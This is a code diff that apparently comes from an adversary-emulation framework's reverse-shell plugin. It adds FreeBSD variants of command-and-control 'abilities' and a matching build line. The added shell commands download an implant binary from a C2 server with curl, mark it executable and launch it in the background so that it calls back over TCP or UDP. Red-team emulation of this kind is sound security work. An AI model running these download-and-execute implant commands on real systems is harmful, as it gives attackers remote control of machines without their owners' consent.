diff --git a/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml b/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml index 44d1e87..fc32740 100644 --- a/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml +++ b/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml @@ -33,6 +33,30 @@ contact="tcp"; agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:darwin" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; nohup ./$agent -http $server -socket $socket -contact $contact & + freebsd: + sh: + command: | + server="#{app.contact.http}"; + socket="#{app.contact.tcp}"; + contact="tcp"; + curl -s -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download > #{agents.implant_name}; + chmod +x #{agents.implant_name}; + ./#{agents.implant_name} -http $server -socket $socket -contact $contact -v + variations: + - description: Run against the UDP contact + command: | + server="#{app.contact.http}"; + socket="#{app.contact.udp}"; + contact="udp"; + agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; + nohup ./$agent -http $server -socket $socket -contact $contact & + - description: Download with a random name and start as a background process + command: | + server="#{app.contact.http}"; + socket="#{app.contact.tcp}"; + contact="tcp"; + agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; + nohup ./$agent -http $server -socket $socket -contact $contact & linux: sh: command: | diff --git a/update-shells.sh b/update-shells.sh index a0c01fb..bfa9ef4 100755 --- a/update-shells.sh +++ b/update-shells.sh @@ -1,7 +1,8 @@ -#!/bin/bash +#!/bin/sh cwd=$(pwd) cd shells GOOS=windows go build -o ../payloads/manx.go-windows -ldflags="-s -w" manx.go GOOS=linux go build -o ../payloads/manx.go-linux -ldflags="-s -w" manx.go GOOS=darwin go build -o ../payloads/manx.go-darwin -ldflags="-s -w" manx.go +GOOS=freebsd go build -o ../payloads/manx.go-freebsd -ldflags="-s -w" manx.go cd $cwd